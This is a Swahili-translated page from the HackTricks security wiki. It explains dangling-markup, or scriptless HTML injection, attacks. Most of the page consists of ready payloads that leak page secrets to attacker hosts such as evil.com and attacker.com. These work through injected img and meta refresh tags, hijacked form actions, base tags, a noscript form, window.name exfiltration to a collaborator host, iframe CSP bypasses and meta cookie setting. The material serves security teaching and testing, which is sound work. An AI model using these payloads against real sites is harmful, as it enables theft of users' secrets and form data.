Dangling Markup - HTML scriptless injection
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Resume
Teknik hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati HTML injection inapatikana. Hii ni muhimu sana ikiwa hupati njia yoyote ya kutumia XSS lakini unaweza kuingiza baadhi ya vitambulisho vya HTML.
Pia ni muhimu ikiwa siri fulani imehifadhiwa kwa maandiko wazi katika HTML na unataka kuipatia kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani.
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya Content Security Policy kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
Main Applications
Stealing clear text secrets
Ikiwa unafanya injection ya <img src='http://evil.com/log.cgi?
wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya img
vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri iko kwa namna fulani katika kipande hicho, utaiiba (unaweza kufanya kitu sawa ukitumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
Ikiwa vitambulisho vya img
vinakatazwa (kwa sababu ya CSP kwa mfano) unaweza pia kutumia <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Kumbuka kwamba Chrome inazuia URL za HTTP zikiwa na "<" au "\n" ndani yake, hivyo unaweza kujaribu mipango mingine ya itifaki kama "ftp".
Pia unaweza kutumia vibaya CSS @import
(itapeleka msimbo wote hadi itakapokutana na ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Unaweza pia kutumia <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Unaweza pia kuingiza tag ya <base
. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha kikoa kinachotajwa na kiungo):
<base target=' <--- Injected
steal me'<b>test</b>
Kuiba fomu
<base href="http://evil.com/" />
Kisha, fomu zinazotuma data kwenye njia (kama <form action='update_profile.php'>
) zitatuma data hizo kwenye eneo la hatari.
Kuiba fomu 2
Weka kichwa cha fomu: <form action='http://evil.com/log_steal'>
hii itabadilisha kichwa cha fomu inayofuata na data zote kutoka kwa fomu zitatumwa kwa mshambuliaji.
Kuiba fomu 3
Kitufe kinaweza kubadilisha URL ambapo taarifa za fomu zitapelekwa kwa kutumia sifa "formaction":
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
Mshambuliaji anaweza kutumia hii kuiba taarifa.
Pata mfano wa shambulio hili katika andiko hili.
Kuiba siri za maandiko wazi 2
Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa pembejeo:
<input type='hidden' name='review_body' value="
na hii sehemu ya kuingiza itakuwa na maudhui yote kati ya nukta zake mbili na nukta inayofuata katika HTML. Shambulio hili linachanganya "Kuhujumu siri za maandiko wazi" na "Kuhujumu fomu2".
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag <option>
. Data yote hadi tag iliyofungwa </option>
itakapopatikana itatumwa:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Uingizaji wa vigezo vya fomu
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Kuiba siri za maandiko wazi kupitia noscript
<noscript></noscript>
Ni tag ambayo maudhui yake yatafasiriwa ikiwa kivinjari hakisaidii javascript (unaweza kuwasha/kuzima Javascript katika Chrome kwenye chrome://settings/content/javascript).
Njia ya kutoa maudhui ya ukurasa wa wavuti kutoka kwenye eneo la sindano hadi chini kwenye tovuti inayodhibitiwa na mshambuliaji itakuwa kuingiza hii:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Kupita CSP kwa ushirikiano wa mtumiaji
Kutoka kwenye portswiggers research unaweza kujifunza kwamba hata kutoka kwenye mazingira yanayozuia CSP zaidi bado unaweza kuhamasisha data kwa kutumia ushirikiano wa mtumiaji. Katika tukio hili tutatumia payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Kumbuka kwamba utaomba mhasiriwa abofye kiungo ambacho kitampeleka payload inayodhibitiwa na wewe. Pia kumbuka kwamba target
sifa ndani ya base
tag itakuwa na maudhui ya HTML hadi nukta moja inayofuata.
Hii itafanya kwamba thamani ya window.name
ikiwa kiungo kimebofywaji itakuwa yote hayo maudhui ya HTML. Hivyo, kwa kuwa unadhibiti ukurasa ambapo mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo window.name
na kuhamasisha data hiyo:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleading script workflow 1 - HTML namespace attack
Ingiza tag mpya yenye id ndani ya HTML ambayo itabadilisha ile inayofuata na thamani ambayo itakuwa na athari kwenye mtiririko wa script. Katika mfano huu unachagua na nani taarifa itashirikiwa:
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Misleading script workflow 2 - Script namespace attack
Unda mabadiliko ndani ya javascript namespace kwa kuingiza vitambulisho vya HTML. Kisha, mabadiliko haya yataathiri mtiririko wa programu:
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
Abuse of JSONP
Ikiwa unapata interface ya JSONP unaweza kuwa na uwezo wa kuita kazi yoyote na data yoyote:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Au unaweza hata kujaribu kutekeleza baadhi ya javascript:
<script src="/search?q=a&call=alert(1)"></script>
Iframe abuse
Hati ya mtoto ina uwezo wa kuona na kubadilisha mali ya location
ya mzazi wake, hata katika hali za cross-origin. Hii inaruhusu kuingiza script ndani ya iframe ambayo inaweza kuelekeza mteja kwenye ukurasa wowote:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Hii inaweza kupunguzika kwa kutumia kitu kama: sandbox=' allow-scripts allow-top-navigation'
Iframe pia inaweza kutumika vibaya kuvuja taarifa nyeti kutoka ukurasa tofauti kwa kutumia sifa ya jina la iframe. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga ndani ya iframe ikitumia uingizaji wa HTML ambao unafanya taarifa nyeti kuonekana ndani ya sifa ya jina la iframe na kisha kufikia jina hilo kutoka iframe ya awali na kuvuja.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
Kwa maelezo zaidi angalia https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
Unaweza kutumia meta http-equiv
kufanya vitendo kadhaa kama kuweka Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
au kufanya uelekeo (katika sekunde 5 katika kesi hii): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Hii inaweza kuepukwa kwa CSP kuhusu http-equiv ( Content-Security-Policy: default-src 'self';
, au Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
Unaweza kupata utafiti wa kuvutia sana kuhusu udhaifu unaoweza kutumika wa tag <portal hapa.
Wakati wa kuandika hii unahitaji kuwezesha tag portal kwenye Chrome katika chrome://flags/#enable-portals
au haitafanya kazi.
<portal src='https://attacker-server?
HTML Leaks
Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini wakati mwingine zinaweza kusaidia. Angalia hapa: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Hii ni mchanganyiko kati ya dangling markup na XS-Leaks. Kutoka upande mmoja, udhaifu unaruhusu kuingiza HTML (lakini si JS) katika ukurasa wa asilimia moja ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali ukurasa mwingine.
{{#ref}} ss-leaks.md {{#endref}}
XS-Search/XS-Leaks
XS-Search zimeelekezwa kwenye kuondoa taarifa za cross-origin kwa kutumia shambulio la upande. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama CSS Injection au Lazy Load Images.
{{#ref}} ../xs-search/ {{#endref}}
Brute-Force Detection List
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt {{#endref}}
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.